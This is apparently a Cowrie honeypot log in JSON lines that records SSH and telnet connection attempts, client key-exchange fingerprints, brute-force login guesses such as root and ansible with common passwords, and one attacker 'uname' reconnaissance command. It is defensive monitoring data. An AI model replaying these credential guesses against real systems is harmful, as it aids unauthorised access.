{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:51.583442Z","src_ip":"176.65.139.103","session":"7c8e85e14966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:51.832764Z","src_ip":"176.65.139.103","session":"7c8e85e14966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:53.101539Z","src_ip":"176.65.139.103","session":"7c8e85e14966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":36362,"dst_ip":"159.203.135.109","dst_port":23,"session":"754afc4d6d22","protocol":"telnet","message":"New connection: 117.120.7.112:36362 (159.203.135.109:23) [session: 754afc4d6d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:56.645490Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57046,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ae172a16480","protocol":"ssh","message":"New connection: 176.65.139.103:57046 (10.17.0.5:22) [session: 5ae172a16480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:57.452461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:57.458305Z","src_ip":"176.65.139.103","session":"5ae172a16480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":40756,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd3465d91f9e","protocol":"telnet","message":"New connection: 117.120.7.112:40756 (159.203.135.109:23) [session: bd3465d91f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:57.467453Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:57.540956Z","src_ip":"176.65.139.103","session":"5ae172a16480","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:57.791677Z","src_ip":"176.65.139.103","session":"5ae172a16480","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:58.019510Z","src_ip":"176.65.139.103","session":"5ae172a16480","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:58.022997Z","src_ip":"176.65.139.103","session":"5ae172a16480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":42440,"dst_ip":"159.203.135.109","dst_port":23,"session":"f76ea4d96233","protocol":"telnet","message":"New connection: 117.120.7.112:42440 (159.203.135.109:23) [session: f76ea4d96233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:58.054449Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":42630,"dst_ip":"159.203.135.109","dst_port":23,"session":"d34d46638dea","protocol":"telnet","message":"New connection: 117.120.7.112:42630 (159.203.135.109:23) [session: d34d46638dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:58.131954Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:58.324595Z","src_ip":"176.65.139.103","session":"5ae172a16480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:58.330061Z","src_ip":"176.65.139.103","session":"5ae172a16480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45970,"dst_ip":"159.203.135.109","dst_port":23,"session":"9017e99f79fa","protocol":"telnet","message":"New connection: 117.120.7.112:45970 (159.203.135.109:23) [session: 9017e99f79fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:59.536237Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":48822,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e72bf5c76b0","protocol":"telnet","message":"New connection: 117.120.7.112:48822 (159.203.135.109:23) [session: 7e72bf5c76b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:00.630921Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51514,"dst_ip":"159.203.135.109","dst_port":23,"session":"f13b27b1dcea","protocol":"telnet","message":"New connection: 117.120.7.112:51514 (159.203.135.109:23) [session: f13b27b1dcea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:01.497167Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53856,"dst_ip":"10.17.0.5","dst_port":22,"session":"d00356f7f289","protocol":"ssh","message":"New connection: 176.65.139.103:53856 (10.17.0.5:22) [session: d00356f7f289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:03.791554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:03.803761Z","src_ip":"176.65.139.103","session":"d00356f7f289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:03.876868Z","src_ip":"176.65.139.103","session":"d00356f7f289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:04.192822Z","src_ip":"176.65.139.103","session":"d00356f7f289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42540,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a0bbce9305c","protocol":"telnet","message":"New connection: 185.111.235.80:42540 (10.17.0.5:23) [session: 9a0bbce9305c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:04.350979Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34254,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b1afa9e4fde","protocol":"telnet","message":"New connection: 117.120.7.112:34254 (159.203.135.109:23) [session: 0b1afa9e4fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:05.240907Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:05.297527Z","src_ip":"176.65.139.103","session":"d00356f7f289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":38384,"dst_ip":"159.203.135.109","dst_port":23,"session":"f08ccbd4913a","protocol":"telnet","message":"New connection: 117.120.7.112:38384 (159.203.135.109:23) [session: f08ccbd4913a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:06.691936Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":44712,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c0c450eb133","protocol":"telnet","message":"New connection: 117.120.7.112:44712 (159.203.135.109:23) [session: 4c0c450eb133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:08.934294Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53864,"dst_ip":"10.17.0.5","dst_port":22,"session":"77fa884f3aa4","protocol":"ssh","message":"New connection: 176.65.139.103:53864 (10.17.0.5:22) [session: 77fa884f3aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:09.929352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:09.933939Z","src_ip":"176.65.139.103","session":"77fa884f3aa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:10.018437Z","src_ip":"176.65.139.103","session":"77fa884f3aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:10.272133Z","src_ip":"176.65.139.103","session":"77fa884f3aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:11.537673Z","src_ip":"176.65.139.103","session":"77fa884f3aa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":54754,"dst_ip":"159.203.135.109","dst_port":23,"session":"744c47e90955","protocol":"telnet","message":"New connection: 117.120.7.112:54754 (159.203.135.109:23) [session: 744c47e90955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:12.468533Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55636,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e18a3292173","protocol":"telnet","message":"New connection: 117.120.7.112:55636 (159.203.135.109:23) [session: 8e18a3292173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:12.674435Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57016,"dst_ip":"159.203.135.109","dst_port":23,"session":"db43dae1b5aa","protocol":"telnet","message":"New connection: 117.120.7.112:57016 (159.203.135.109:23) [session: db43dae1b5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:13.097715Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":60736,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58206a9d860","protocol":"telnet","message":"New connection: 117.120.7.112:60736 (159.203.135.109:23) [session: c58206a9d860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:14.484228Z"}
{"eventid":"cowrie.session.closed","duration":53.03299355506897,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:14.917342Z","src_ip":"185.26.126.47","session":"6da34f101856","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51930,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdbab0bb5ae1","protocol":"ssh","message":"New connection: 176.65.139.103:51930 (10.17.0.5:22) [session: fdbab0bb5ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:16.502485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:16.507182Z","src_ip":"176.65.139.103","session":"fdbab0bb5ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:16.589681Z","src_ip":"176.65.139.103","session":"fdbab0bb5ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:16.849329Z","src_ip":"176.65.139.103","session":"fdbab0bb5ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":46248,"dst_ip":"10.17.0.5","dst_port":23,"session":"f623c1e0dd4f","protocol":"telnet","message":"New connection: 185.111.235.80:46248 (10.17.0.5:23) [session: f623c1e0dd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:17.376959Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:18.014517Z","src_ip":"176.65.139.103","session":"fdbab0bb5ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45572,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb1765775db6","protocol":"telnet","message":"New connection: 117.120.7.112:45572 (159.203.135.109:23) [session: eb1765775db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:19.154129Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38108,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdb7763ad8c3","protocol":"ssh","message":"New connection: 159.203.92.129:38108 (159.203.135.109:22) [session: cdb7763ad8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:19.407518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:19.412593Z","src_ip":"159.203.92.129","session":"cdb7763ad8c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:19.417193Z","src_ip":"159.203.92.129","session":"cdb7763ad8c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1q2w3e4r5t","message":"login attempt [ansible/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:19.429479Z","src_ip":"159.203.92.129","session":"cdb7763ad8c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:20.435299Z","src_ip":"159.203.92.129","session":"cdb7763ad8c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45760,"dst_ip":"159.203.135.109","dst_port":23,"session":"855228343af9","protocol":"telnet","message":"New connection: 117.120.7.112:45760 (159.203.135.109:23) [session: 855228343af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:24:22.243955Z"}
